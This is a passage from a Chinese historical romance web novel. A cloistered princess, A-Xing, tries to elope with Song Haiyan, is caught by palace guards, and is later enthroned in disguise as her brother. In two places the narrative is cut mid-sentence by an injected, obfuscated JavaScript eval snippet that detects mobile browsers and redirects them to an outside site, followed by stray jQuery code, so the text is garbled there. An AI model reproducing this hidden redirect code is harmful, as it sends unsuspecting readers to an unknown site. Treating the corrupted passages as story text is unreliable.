她想要哭,想要嘶喊,却被不知什么东西扼住了喉咙,发不出声,只有泪水如泉,簌簌滚落。 原来人痛极悲极,是发不出声音的。 宋海晏,你总是这般赤诚、坦荡,不掺一丝虚假,叫人难以招架。正因为你不知道我是什么人,才会有这么天真的想法。你不知道,我的命运早已被刻在冰冷的石碑上,无人能改。皇帝出家,大臣们可以将他赎回,而被皇帝敕命出家的人,却没有人可以赎回。 宋海晏,世间同人不同命,有的人一出生就贵为王侯,有的人一出生就拥有名之为“罪”的烙印。我渴望得救,但注定无法得救。你这样的想法,只会给你带来危险。 她说不出话,也哭不出声来,身体如筛糠一般在青石地板颤抖着、挣扎着,一双眸子空洞得骇人,宋海晏吓得脸色发白,大声道:“阿幸,你怎么了?” 他慌乱地将她抱起,触手之处冰凉得让他心惊。她的身体像一片枯叶,轻得仿佛随时会碎裂。他小心翼翼地将她放在床上,脸色苍白,眼中满是懊悔和自责。 “阿幸,我错了,你不喜欢听这些诨话,我就不再说了。你不喜欢我,我明天就离开这里。你不要生气,你等一下,我现在就去叫人过来——” 他就要离去,却被一只手攥住了衣摆。 宋海晏回头,见少女噙着的一双泪眼,她没有说话,他却从那一双眼中看到了哀求。 她在哀求他,不要走。 他在床边坐了下来,扯过被子将她盖住,可她的身体仍然止不住地发抖。宋海晏无奈,只能隔着被子紧紧抱着她,用自己宽阔的胸膛抚慰着她。 屋内一点一点黯淡下去,暮色从窗棂边缘淌入,最后几缕深琥珀色的光线舔舐着紧紧相拥的两人,在流苏帐间隐没,留下彻底的黑暗。 不知过了多久,阿幸自己的四肢渐渐恢复了温度和知觉。 黑夜不见五指,她什么也看不见。只能感觉自己隔着一床薄被,倚靠在男子的胸膛之上,身躯随着他的呼吸与心跳一起一伏。 白日时,他站在梨树下,濯如春柳,皎若青松,她觉得他是不存在的虚相。可此时此刻,她分明看不见他,他整个人在她心中却有了具体的形象。 她能从他的呼吸声中感知他高挺的鼻梁,深邃挺括的五官轮廓,能从紧紧箍着她的手臂感知他修长的胳膊和强劲的力量,能从他的胸口的起伏他健硕的男子躯体和此时汹涌澎湃的心绪。 凡有所相,皆是虚妄。 若目中不着相,便见实相。 若剥离这世间一切虚妄,爱便是唯一的实相。 她因这爱生出贪恋来。她贪恋他的怀抱,贪恋他的气息,甚至贪恋起这方阎浮世界的一切,贪恋那些曾以为与自己无关的温暖与光明。 她心中忽生出些许勇气来,她想要为自己活一次。她想和他一起离开这里,亲眼看一看他口中那个广阔的世界。 哪怕一眼也好,得到过一刻自由也行,就算以后再被抓回药师庵,这一生也再无遗憾。 她叫道:“阿晏。” 宋海晏似乎处于神游物外的状态,并未答话,于是她又叫了一遍:“阿晏。” 男子的身躯猛地动了一下,“你叫我什么?” “阿晏。”阿幸道:“你不喜欢我这样叫你吗?” “当然不是了。”宋海晏的声音带着惊喜:“我亲近的朋友都是这样叫我,你这么叫我很开心。” 他忽然意识到她已经恢复了,自己仍这样抱着她毕竟逾矩,他将那床薄被松开,慌乱道:“天黑了,我去点灯……” 他正要起身,阿幸道:“不要点灯,就这样……就很好……阿晏,你就坐在这里,我想和你说话……” “好。”宋海晏答应道。他似乎想说些什么,却又不知从何说起,只能将她的手握得更紧。 阿幸的声音轻得几乎听不见:“阿晏,你先前说想带我离开这里,是真心的吗?” “当然——”宋海晏立刻脱口而出。他顿了顿,似乎觉得两个字太敷衍,不足以表达他的真诚,又道:“阿幸,你放心。我虽出身行伍,但也不是性子鲁莽之人。一应事宜,我都安排妥帖。我上次让陈伯送信回去,便是要将你的事情告知我的母亲。她派陈伯送这四十万钱过来,必然是不反对这件事。我父亲为人古板,可能会不同意,但我母亲同意的事,我父亲也没办法,你不用担心。” “至于静仪师太那边,我觉得她也不会反对。我上次坠马装病的事,她一眼就能看穿,但还是让我留在知事堂。根据我这两个月的观察,她对你与对别人格外不同,似乎并不希望你长久留在这里。我若提出为你赎身,她多半会同意。” “你……阿幸,你愿意吗?”他不免又忐忑起来,然而这一次少女回答得很快,语气不带一丝犹豫:“好,阿晏。我愿意和你一起离开,我们今晚就走——” “啊,今晚就走?”宋海晏惊喜中带着错愕,“可现在已经是晚上了,现在去打扰静仪师太是不是不太好?” “不需要告诉师父,也不要再说什么赎身的事,她不会同意的,我们翻墙出去吧。”阿幸低声道:“你上次买书,也是翻墙出去的,应该有经验——” “有经验是有经验。”宋海晏还是不解:“可为什么……” “没有为什么,你想带我离开,一切就得听我的。”阿幸急切地说。她忽然伸出手,紧紧抓住宋海晏的衣袖,指尖微微颤抖,仿佛生怕他会从这漆黑的迷夜里消失。她的身体向前倾,几乎贴上了他的胸膛,呼吸急促而紊乱,像是用尽了全身的力气才说出接下来的话:“阿晏,过了今晚,我可能不会再有离开的勇气……我们只有这一次机会。” 宋海晏被她突如其来的动作惊得微微一怔,又很快反应过来,伸手覆上她的手背,用温暖的掌心包裹住她冰冷的指骨,低 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阿幸点燃烛火,开始收拾要带走的东西。她既然决定离开,抛弃这沙弥尼的身份,药师庵的东西也什么可带的,最终她只是从耳房带走了一套金针和一些伤药。 至于宋海晏,这十几箱银钱当然是无法带走,他只是随手抓了几把藏在荷包之中,以备路上使用。他负上随身携带的宝剑,将自己的弓箭别在腰间,又特意检查了碧棠送来的那只镔铁箭,珍之重之地将它收入箭囊之中,再将箭囊负在背上。 他牵着阿幸的手,推开了知事堂的大门。 夜风迎面扑来,带着一丝凉意。 今夜无月,苍蓝色的天幕垂下明灭不定的星子,微光熠熠,四野胧明,看不清楚前路。 远处的佛殿佛塔沉浸在夜色中,只有几盏孤灯在风中摇曳,像是无声的告别。阿幸回头望了一眼,心中涌起一股复杂的情绪。 虽然下定决心要走,但离开这座她生活了整整十四年的庵堂,还是让她生出几分忐忑和不舍。她很快收回目光,握紧了宋海晏的手,低声道:“走吧。” 上次宋海晏出去买书,曾翻过药师庵的围墙。他对这条路线早已熟悉:从知事堂出发,向西穿过两处佛殿,便能看见一人多高的外墙。翻过外墙,便是一片空旷的原野。原野的尽头是茂密的树林,枝叶交错,遮天蔽日。再往西五六里,就是鸡鸣镇。陈伯正在那里落脚,宋家的车马也停在那里。 他计划先带阿幸到鸡鸣镇,再乘马车返回庐江。静仪师太第二天发现阿幸失踪,或许会告知皇太孙妃齐宝珠。皇太孙萧樗虽正位东宫,却因身体孱弱,并未执掌实权。宋家世代镇守庐江,是国之封臣,太孙妃即便得知阿幸失踪,也不至于为了一个抄经的沙弥尼与宋家大动干戈。 长夜阒静,药师庵的外殿在夜色中显得格外空旷,连一丝人声也听不到,只有轻风拂过檐角的铜铃,发出细微的叮咚声。 宋海晏驾轻就熟,带着阿幸穿过幽暗的走廊,来到他上次翻出去的围墙之下。 17. 第十四章 孤注一掷 宋海晏蹲下身体,示意阿幸踩上他的背。看着他宽阔而坚实的肩膀,阿幸犹豫了一下,还是轻轻踩了上去。他稳稳起身,双手托住她的脚踝,将她送上墙头。接着,他后退几步,助跑几步,如猿猴般敏捷地攀上围墙,翻身而过,再伸手接应她下来。 声音惊动了栖息在附近树枝上的几只宿鸟,它们扑棱着张翅,消失在夜色之中。 星河耿耿,遥夜沉沉。 夜风扫过阿幸的脸颊,带来一丝凉意。她抬头望向远处,无垠的天幕与远方的旷野几乎融为一体,她从未想过,围墙外的天地竟是这般辽阔,内心也澎湃起来,轻轻吐出一口浊气。 宋海晏侧头看她:“阿幸,你怎么了?” 阿幸摇头:“我没事,我们尽快离开吧。” 宋海晏捉住阿幸的手,拉着她快速穿过药师庵外的空地。走出不远,阿幸忽地停下脚步,双目死死盯着前方不远处的一座佛塔。高耸的塔身隐没在夜色中,塔尖在星光下泛着冷光。她低声道:“不对,这里怎么会有一座塔?” 宋海晏诧异地看着她:“你不知道吗?药师庵东南西北四个方向,各有一座佛塔,将药师庵拱卫其中。我们从西边的围墙翻出来,这座塔应该就是西边的那一座……” 阿幸脸色苍白,心中升起一股不祥的预感,摇头道:“我读过不少佛教典籍,佛塔通常只会建在寺庙内部。建在寺庙外,还东西南北各有一座,这可能不是佛塔……” 宋海晏不以为意:“我们都已经出来了,就先不要想那么多了。穿过前方的树林,就能到鸡鸣镇,我们快走吧。” 话音未落,前方的佛塔上突然亮了起来,火把的光照亮了一角夜空。阿幸和宋海晏抬头望去,只见数名全身甲胄的羽林卫站在佛塔的最高层,手中的弓箭已经上弦,冰冷的箭尖正对着他们。夜风拂过,火把的光芒在羽林卫的铠甲上跳跃,映出森冷的寒光。 阿幸猛地将宋海晏推开,声音急促:“阿晏,你快走!回鸡鸣镇,快马回庐江去!不要管我——” 宋海晏愕然地看着她,“阿幸,不是说好我们一起离开的吗?你怎么能让我一个人走?” 就在这时,佛塔上传来一声厉喝:“何方宵小,竟敢挟持公主私逃,杀无赦——”那声音威严而冰冷,仿佛从地狱深处传来,令人不寒而栗。 随着一声令下,佛塔的每一层都亮起火光,耀眼的光芒将半边夜空照得如同白昼。两人这才看清,佛塔的每一层都站满了羽林卫,一个个弯弓搭箭,瞄准着他们。这哪里是佛塔,分明是一座精心设计的箭塔,只为防止有人私自出逃。 宋海晏的瞳孔猛地收缩,似乎明白了什么,却又难以置信。他看向阿幸,声音沙哑:“你是公主?这到底是怎么回事?” 没等阿幸回答,无数箭矢如飞蝗般倾泻而下,密密麻麻的箭影在夜空中划出冰冷的弧线,仿佛要将两人彻底淹没。阿幸大声道:“没时间解释了,你快走!我走不成了,你不要管我,自己走——” 宋海晏一咬牙,右手迅速抽出宝剑,剑光如电,将飞来的箭矢一一扫落。他的左手死死抓住阿幸的手,力道大得让她感到有些疼痛:“我带你一起走——” 阿幸数次试图挣脱他的手臂,可男子的手竟似铜铸铁焊一般,任凭她如何用力都无法挣脱。泪水从她的眼眶中涌出,道:“阿晏,你走吧。陛下在此设下羽林卫,他是不会放我离开的。你强行带我走,只会牵连到你的家人……” 宋海晏置若罔闻,只是将她的手臂箍得更紧。他的脚步更快了,拉扯得她身体像要飞起来。 阿幸从前不知药师庵外竟有如此多的守卫,但见这羽林卫的架势,就凭他们两人,无论如何也不可能逃出生天,只好将一切对宋海晏和盘托出,盼他能改变心意,她流泪道:“阿晏,我三岁在药师庵出家,是一位禅师说我的皇祖父杀人太多,所以萧氏皇族子孙不盛。我要在寺庙修行祈福,才能弥补这份罪愆。阿晏,皇祖父不会让我离开的,我的命运早已注定,无人可以更改……” 她声音哽咽:“阿晏,你自己走吧,这一生能认识你,我已经足够幸运,对得起你给我的名字……你离开吧,忘了我,就当这药师庵的一切都是一场梦……” 宋海晏仍然像完全没听到一样,只顾拉着她发足狂奔。 就在此时,远方传来一阵急促的马蹄声,像是滚滚奔雷,在寂静的夜色中炸响。 阿幸回头望去,只见南北两方的佛塔也亮起灯火,火光映照下,骑马的军士手持火把,如同一条火龙般飞快朝这边合围。马蹄声震耳欲聋,火把的光芒在夜色中交织成一张巨网,要将他们网罗其中。 阿幸不知从哪里来的力气,猛地定住脚步,声音嘶哑而决绝:“宋海晏,你放开我!我后悔了,我不走了…… 宋海晏被她带着脚步一停,仍紧紧抓住她的手,“阿幸,我是不会自己走的,要走一起走。只要在合围之前进入树林,我们就有机会逃走——” “你有没有想过,携公主私逃,是叛国之罪,你的家人怎么办?” “只要不被他们抓住,谁能证明是我带走了公主?好男儿四海为家,大不了我不回庐江了——”宋海晏的眼中闪过孤注一掷的疯狂与决绝,脚下又开始发力,向两军合围中间的缺口冲去,阿幸脚步踉跄,被他拉着奔跑。 就在这时,阿幸听到了一道尖锐的破空之声—— 那是铁箭撕裂夜风时发出的呼啸声,那声音极响,如同劲风鼓动她的耳膜,震得她的后脑一阵发麻。 阿幸猛地回头,眼睁睁看着那支重箭穿透夜空,如同一道黑色的闪电,直直射入宋海晏的后心。 拉着她的力道松开,宋海晏的身体猛地一颤,白衣瞬间被黑血浸透。他失去了全身的力气,倒在血泊之中。 一名手持弓箭、着羽林卫铠甲的将军骑马从后赶上,目光冰冷地扫过倒落在地上的躯体。他抽出佩刀,更多的甲兵从四面八方合围过来,将两人围在中间。 阿幸感到一阵刺骨的恐惧,她猛地扑到宋海晏身上,用自己的身体护住他,一声声哀求道:“将军,是我自己想逃走,求他带我出来。这不关他的事,求你们放过他……我愿意回到药师庵,我愿意抄经,我愿意赎罪,我以后再也不逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149685|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……求你们放过他……” 将军眼神如利刃,声音中没有一丝温度:“公主,这名逆贼意图挟持公主私逃,死罪难赦。公主千金之躯,末将万不敢伤,请您让开,莫让末将为难。” “不……是我的错,是我诱他带我出逃。”阿幸紧紧抱着宋海晏流血不止的身体,大哭起来:“不,你们要杀他就先杀了我……” 将军眼中露出不耐烦的神色,示意左右:“你们两个,去请公主回到药师庵……” 两名羽林卫下马,慢慢朝阿幸靠近。阿幸将心一横,从怀中摸出一把匕首,将锋利的刀刃紧紧贴在颈前,大声道:“你们谁敢过来,我就当场自尽……我如果死在这里,你们要如何向皇帝陛下交代——” 两名羽林卫面面相觑,犹豫不决。他们看向骑在马上的将军,终究不敢向前一步。 “阿弥陀佛,我佛慈悲……”清夜里传来一声佛号。远处,静仪师太手持念珠,领着几名年长的尼师从容靠近,这场变故终于还是惊动了药师庵的掌舵人。 “阿弥陀佛。”静仪师太走到将军面前,双手合十,行了一个佛礼,道:“高将军,此事毕竟发生在我药师庵。高将军可否容贫尼说两句话?” 公主以死相逼,高将军正左右为难,不知如何是好,点头道:“师太请讲。” 静仪师太看向倒在血泊中的宋海晏,眼中闪过一丝怜悯,轻叹一声:“高将军,依贫尼之见,此人杀不得。如果他死在这里,恐怕祸及将军满门。” 高将军的脸色骤然一变,眉头紧锁:“哦?此话怎讲?” “高将军恐怕不知他的身份,此人名叫宋海晏,出身庐江宋家,是如今庐江刺史宋寒章的公子,他的母亲则出身江陵何氏,如今替朝廷镇守荆襄的都督何长龄,是他的舅舅。我大楚皇帝陛下入主金陵后,庐江、荆襄各地方豪强上表归降,共同抵御北方胡族南侵,这才保住江南半壁江山。” 静仪师太道:“如果庐江刺史的长公子、荆襄的大都督的外甥死在高将军你的手上,大楚西北防线恐怕生变。皇帝陛下为了平息宋家、何家的怒气,只会将高将军你的人头送出去,以保朝廷上下君臣一心。” 高将军收回佩刀,惊觉背后竟出了一身冷汗。他下马抱拳,语气中带着一丝犹豫:“可是本将军奉皇帝陛下的命令,在此守护公主。这小子想要携公主私逃,我若轻轻放过,如何向陛下交代?” 静仪师太道:“此事简单,将军可以连夜具表,将事情告知陛下,由陛下亲自决断。至于宋海晏,就由我先带回药师庵治伤。一箭穿心,就算不死也要了半条命,绝无可能在重兵包围下逃走。如果陛下下旨要杀他,将军再来找我要人,如何?” 高将军想了想,也没有更好的办法,便点头道:“那就先按师太所说的办吧。”他命羽林卫散去,返回各自驻所。 静仪师太则指挥比丘尼们寻来一副担架,将重伤昏迷的宋海晏抬回去。阿幸见宋海晏暂时保全,心中一块石头终于落地。她今日思虑颇重,未曾饮食,这一阵心绪大起大落,早已心力交瘁,此刻一口气泄了下来,竟也昏厥过去。 18. 第十五章 梦幻泡影 清晨,药师庵内下了一场小雨。 阿幸睁眼时,湿冷的水汽从门缝中钻入,与供奉佛前的宝塔檀香的烟柱相融,水雾沿着金身佛像的衣饰纹路攀缘而上,掩去药师佛的弯垂眉眼,不见菩萨慈悲面目,只见佛前一对楹联。 大千世界,不出一念心性。 百亿劫中,无非刹那光阴。 阿幸看着那副对联,怔了半晌。 静慧师姑端着几个馒头推门而入,见她醒了,紧拧的眉目展出一丝喜色来:“阿苦,你醒了。你之前饿了一天,又情志磨损,以致晕厥,先吃点东西吧……” 阿幸拿了一个馒头,咬了一口,竟难以下咽,抬眼望向静慧师太,问道:“师姑,宋公子呢,他现在怎么样了?” 静慧师太叹了一口气,眼神中全是责备,又夹杂着一丝心疼:“那一箭透胸而过,若是再偏半寸,就直接要了他的命。你呀,唉……”她顿了顿,看着阿幸苍白的脸色,终究不忍再说重话,指了指一墙之隔的内殿,低声道:“你师父正在为他治伤,具体如何,要等她出来才知道。” 直到雨停,静仪师太方才从内殿出来,阿幸忙迎了上去,问道:“师父,宋公子……他如何了?”一开口,她方觉自己的声音低哑得可怕。 静仪师太眉目间带着一丝疲惫,忧声道:“命算是暂时保住了,但人不知何时能醒。” 阿幸面色死灰,跌坐在蒲团之上。 静仪师太知她心内不好受,却忍不住责备道:“公主,你太鲁莽了。我知道你不想留在这里,但此事急不得,夜奔更是下下之策……”她摇头道:“我曾对你说过,陛下身体不好,也就是一两年的工夫。就算你喜欢宋公子,等到你哥哥继位,此事尚有转圜的余地,可你这么一闹……” 她愁容满面,不断唉声叹气:“如今这样,只怕牵累宋公子的性命——” 阿幸心内一惊,道:“师父不是说他的命保住了吗?” 静仪师太道:“我这里是能保住,但陛下那边未必,高将军已连夜将此事报知陛下,最迟一两日,宫中就有旨意下来。我之前那番话只是吓唬高将军,叫他不敢妄动,拖延时间。陛下如今年迈,又因为后嗣子孙之事,脾气越发暴戾。如果陛下一怒之下,真要将宋海晏处死,宋家、何家远在天边,又能如之奈何?” 静仪师太眉目低垂,那双因常年修佛而平和的眼睛此刻也布满了深深的忧虑。别的不提,她向来与宋海晏的母亲交好,若宋海晏在此殒命,她又该如何交代? 阿幸膝行两步,在静仪师太面前跪下:“师父,我有个办法可以救下他。我这便修书向陛下请罪,只说是我不愿抄经,便引诱于他,央他同我夜奔。他并无挟我私逃之意,这一切全是我的过错。恳求陛下看在他曾有功于国的份上,饶过他的性命……求师父想办法尽快将请罪书送往宫中……” 静仪师太脸上忧色更深:“如此一来,陛下对你必有重惩……” 阿幸垂泪道:“如今也没有别的办法。就算陛下再生我的气,总不会杀了我。” 静仪师太深深叹了一口气,目光落在阿幸的脸上,眼中闪过无奈:“好吧。” *** 六月,是江南的雨季。 药师庵一连下了七日的雨,雨珠如断线的珠子,一颗颗滚落地上,又化作雨雾,霭霭升腾起来,将万物的界限抹去,连成一片朦胧的灰白,连近处庵堂的轮廓都模糊不清。 几只斑鸠从雨中归来,停在檐下,抖落羽毛上的水。宋海晏屈腿倚坐在廊檐之下,任水汽漫上来,将衣摆浸得潮湿。他的目光落在阿幸曾住的禅房,那里门窗紧闭,仿佛从未有人居住过。他的手指轻抚胸口的箭伤,任那股隐痛浮上来。 知事堂的大门发出一声喑哑的声响,宋海晏抬头时,见静仪师太撑着一柄青灰纸伞,走了进来。 他站起身,躬身行礼:“师太。” “阿弥陀佛。”静仪师太回了一个佛礼,道:“宋公子今日能出门走动,想必已是大安了。” 宋海晏道:“托师太妙手,我已无大碍。” “公子无事便好。”静仪师太面露宽慰之色,道:“另有一事,需告公子知情。公子受箭伤的事,你家中已经知晓。您的胞妹,名讳碧棠的宋家女公子今日已亲自到了庵堂,要接你回庐江,如今正在前殿等候,请公子出去相见。” 宋海晏微微一怔:“碧棠亲自到了?” 静仪师太点头:“您的母亲已经延请了名医到了庐江,她的意思是公子还是回家中养病比较方便。” 宋海晏面露苦笑。他自二月到药师庵养病,却是旧伤已愈,又添新伤,如今已到了不得不离开的时候。 他转头看向阿幸住过的禅房:“不知临走之前,我能不能再见公主一面?”自他苏醒之后,静仪师太重新将他移回知事堂养伤,然而每日都是静慧师太前来换药照料。隔壁的禅房始终无人居住,他也再没有见过阿幸。 他心知夜奔之后,再难见到阿幸。然而临别在即,他还是希望能再见她一次。 静仪师太轻轻摇头:“此事不行。” 宋海晏:“为何?” 静仪师太道:“上次的事,虽然陛下念你于国有功,又被公主引诱利用,少年人血气方刚,一时把持不住,是以携公主夜奔。此事归根结底,错不在你,才不予追责,允许你自行还家。至于公主,她奉命在庵中修行,却不思清净,反做出羞耻之事。陛下已下令,将她幽禁别处,就算是我也难见一面。” 宋海晏讶然,辩解道:“师太,这其中一定有所误会。公主本无意私逃,是我强行携公主离开——” 静仪师太打断道:“宋公子,事发第二日,公主已经亲自上书请罪,具陈己过,陛下也接受了这样的说辞。事情过去了一个月,一切都已成定论,你怎么想并不重要。你的家人就在外面,等着接你回去,请勿因为公主的事继续在此逗留,于你、于宋家,都毫无裨益。” 宋海晏抬头,见檐外细雨如织,结成一张白色的珠幕,笼盖住天地间的一切,茫茫然什么也看不清楚。他捂住胸口,那处尚未愈合的箭伤在此时发作,化作绵密的锐痛,摧人肝肠,痛入心扉。 “公子,切勿心伤,于病情无益……”静仪师太扶着他重新坐下,面露不忍之色,轻声道:“无须担心,她身负大楚国祚。就算有错,陛下也不会杀她。你感觉如何了?” “我没事……还想求师太一件事。”宋海晏又缓了一会,终于觉得胸口钝痛下去一些。他从身后摸出一支镔铁箭来,折去前端尖锐的箭镞,递给静仪师太。“如果师太有机会见到公主,请将这支箭带给她,再帮我转告她一句话。” 宋海晏收敛温和眉目,脸上又露出少年的桀骜不驯来,坚定道:“请她再等我一段时间,我会回来带她离开。我不是想想而已,而是准备好了怎么做。我宋海晏既然说出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164104|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,就一定能做到。” 这句话彰显着不可动摇的决心。 “你——”静仪师太抬头,眼露苛责的怒意。少年人如此执拗,她对宋海晏的一番苦心劝说全然白费了。 她终究叹了一口气,没有再说话,将那只镔铁箭收了起来。 *** 雨声沥沥,响在幽静的廊庑深处。 这是一处皇室用来幽闭罪人的场所,四面都是瓦舍。只在中间留有一处小小天井,漏出些许天光。阿幸伏于案上,借着天井透来的一点天光,抄写经文。 因夜奔之事,她被皇帝下旨申斥,幽禁三月,而其中礼佛抄经之事,自是必不可少,为此,圣意专门下令将此处改建为一处佛堂。圣旨下时,她以为自己会难过,其实那时她几乎没什么情绪。如果不得自由,被圈养在药师庵,还是被幽禁在这方罪所,对她而言并无什么差别。 “静仪师太,您怎么来了?”忽地,她听到门外传来奉命看守的羽林军校尉高将军的说话声。 静仪师太低沉的声音响起:“我来看看公主。” 高将军道:“公主无事,陛下谕令,公主需禁闭三月,这段时间由我看守,任何人不得探望。” 静仪师太道:“那我不见公主,只说两句话就走。这是一点心意,请高将军行个方便。” 紧接着她听到铁钱相击的声音,清脆而冰冷。 又过了一会,高将军道:“那你们长话短说,我一会儿再来。”脚步声逐渐远去,似是消失在雨声中。 窗扉轻轻叩动了两声。 阿幸行到窗边,低声道:“师父,我没事,您不用费心来看我。” 窗纸被捅破,一支失去箭镞的铁箭从窗格中探入,静仪师太道:“我也并不想来,宋公子已经离开药师庵,回庐江去了。他临走之前,让我将这只铁箭带给你,另外传两句话。” 刹那间,阿幸眼中闪过一道暗光。 “他说,让你再等一段时间,他会回来带你离开。他说出口的承诺,一定能做到。” 静仪师太停顿了一下,又道:“世间事知易行难,更难能可贵的是,知其难还要迎难而上。他有此心志,为师自不能负人所托。为师走了,你自己保重。” 窗扉外寂静无声,静仪师太已然远去。 阿幸拿着箭支,走到庭中天井处,她学着宋海晏的样子,将箭镞与箭身的接口处轻轻旋转,中空的箭管中掉出一张纸来,阿幸将纸条展开,上面写着八个字:“我心匪石,不可转也。” 阿幸抬起头,天光从紧窄的天井中漏下。 她忽然想起那日在师父的禅房见的那一尊佛像,和佛前的那一副对联。 大千世界,不出一念心性。 百亿劫中,无非刹那光阴。 他们这一番过往,是他的一念心性,还是她的刹那光阴呢? 雨水落在屋檐上,在瓦脊间汇聚成一条条细流,沿着青瓦的沟槽蜿蜒而下,落在天井之中。 她伸出手,想掬住那水流,想使它停在这一个刹那。就像他们拼尽全力,想要将某种东西留住。 可水滴终究坠下,落入天井下方的水槽中,在水面砸出一个巨大的泡泡,随即碎裂,溶于水中再也不见。 如同眼前的刹那融入过往的无数光阴,再不见少年曾经的模样。 如梦、幻、泡、影。 ——第一卷《如梦幻泡影》完。 19. 第一章 金钩细细 元日。 正是辞旧迎新之时。 金陵城外的寒风裹挟着细雪,吹过宫墙,卷起檐角的铜铃,发出清脆的声响。 按照朝廷惯例,这一日要举行元日朝会,群臣聚集在东阁内,依品轶高低轮流向皇帝贺拜,向皇帝进献寿酒,皇帝则赐下御膳,宴饮歌舞,兴尽方散。 今年有些例外。 旧年冬月底,大楚武帝萧胥驾崩,到如今堪堪一个月。国丧之期刚过,一切从简。御阶下,群臣列次而立,衣冠整齐,神情肃穆。 萧含光着帝王冕服,高坐于御台之上。她身形瘦薄,着此宽袍颇有些弱不胜衣之感,只得努力将背脊挺直些,作出庄重模样来。好在从前太孙身体不好,形容消瘦,倒也无人觉得有异样。 距离她最近者为文官之首司徒公齐鸿。 这位国舅爷今年已是五十六岁的年龄,虽两鬓斑白,并不显老态。他出班走到皇帝御座前跪下,将屠苏酒酌满一斟,进献给黄门郎,再由黄门郎跪献至御台前。齐鸿又自斟一杯,跪奏道:“臣齐鸿奉觞再拜,恭祝陛下龙体安泰,万寿无疆。” 百官一起伏地,三呼万岁。 萧含光举起酒爵,心中涌起一阵恍惚。一个多月前,她还是药师庵中的“阿苦”,如今却成了这天下至尊。 冕旒垂下的白玉珠帘微微晃动,遮住了她眼中的复杂情绪。她目光淡扫过跪列的文武大臣,朗声道:“众卿平身。历岁惟新,朕与诸卿同贺之。”她将酒爵奉至唇前,饮了一口,咽下其中辛辣味道。百官起身,一起端起屠苏酒,一饮而尽。萧含光又命赐下御食,众臣依位次入席进食。 酒食已毕,黄门郎宣布散朝并休沐七日。过了初七“人日”后,百官才复朝。在众臣恭祝声中,萧含光离席,乘上御辇,在宫人的导引下,向正光殿行去。 御辇为八人所抬,行走极稳。萧含光端坐帷幔之中,龙纹冕服下方垂坠的繁复縠纱都不曾晃动分毫,唯有清风徐入时,天子额前的白玉冕旒轻轻作响。无人知晓她背上衣衫已被汗水洇湿。 此刻距离她大婚已过去一个月。那日她以皇太孙萧樗的身份在灵前匆匆继位,彼时皇帝大丧,朝中诸事繁杂,又因为皇太孙素来身体欠佳,治丧之事多由太皇太后和国舅爷做主,她只在丧礼时按黄门郎的导引完成规定的仪式。 丧仪之后,太皇太后派了两位宫廷女官到她身边。 一位是从前皇太孙身边的掌事女官楚秋筠,教她模仿从前皇太孙萧樗的举止仪态、行为习惯等,使她的举止行为尽可能与萧樗相似。 另外一位则是太皇太后身边的女史白令瑶,教导她各种皇帝需知的宫廷礼仪及朝堂常识。如皇帝面对百官时,需自称为“朕”,称呼臣子为“爱卿”或“某卿”。又譬如本朝一应典章制度承汉魏,朝中自三公九卿以下,各有职司,地方有一百五十郡,各郡有太守、都尉分辖行政、军事诸务。又譬如本朝选官循前朝旧制,各部官员多依门第,由地方推选。萧含光从小在庵堂长大,对这些宫内本应熟知的常理一窍不通,只好日夜用功,将女官所教囫囵吞枣地咽下。 今日的元日朝会,是她第一次以皇帝的身份单独面见群臣。虽没有出什么差错,也惊出一身冷汗。 她回到正光殿时,两位宫廷女官楚秋筠和白令瑶正在殿檐下等她。 楚秋筠微微躬身,低声道:“陛下今日表现甚好,诸大臣无人怀疑陛下的身份,太皇太后很是满意。” 萧含光颔首,不动声色道:“朕知道了。” 白令瑶亦道:“陛下十分用功,比我预计的进展更快,我已经没什么可以教导陛下了。太皇太后有旨,我二人的职司已经完成,明日将由她亲自教导陛下为君之道。” 萧含光心中一紧。虽然时间已经过去一个月,那晚椒房殿发生的事和太皇太后那怨毒的眼神,仍然是她心中挥之不去的阴影,实在不怎么愿意面对那位与她有着血缘之亲的祖母。 然而,在严苛的太皇太后面前,她没有说“不”的权利。萧含光也不愿意表现出胆怯,她压下心中的不安,淡淡道:“好。” 白令瑶随着她进入内殿,将一扎字帖放在书案上:“太皇太后口谕,陛下虽十分用功,但所书字迹与太孙殿下差别极大。在接下来的三个月,陛下需每日临金钩贴三张,直到神形俱似为止。” 萧含光瞥了一眼字帖,问道:“朕何时可以面见母后?” 白令瑶道:“陛下放心,苏太后平安无事。陛下只要能达到太皇太后的要求,自然不难见到娘娘。” 萧含光心中叹了一口气,她知道,这是太皇太后的又一次要挟。母亲是她在这深宫中唯一的牵挂,她很清楚,自己必须更加谨慎,才能保护母亲的安全。 她答道:“朕知道了,你们下去吧。” 两名女官行礼之后,退了出去。 萧含光展开桌上的字帖,金粉在幽晦的日光下泛起细碎的冷光,萧樗纤薄绮丽的字锋从纸面透出,那是一首五言乐府。 生年不满百,常怀千岁忧。 昼短苦夜长,何不秉烛游。 为乐当及时,何能待来兹。 愚者爱惜费,但为后世嗤。 仙人王子乔,难可与等期。 萧含光这段时日从女官楚秋筠口中,对哥哥的生平有了更多了解。她这位兄长平生耽溺声色,实在乏善可陈,唯一可称道之处便是自创了这名为“金钩细”的书法。 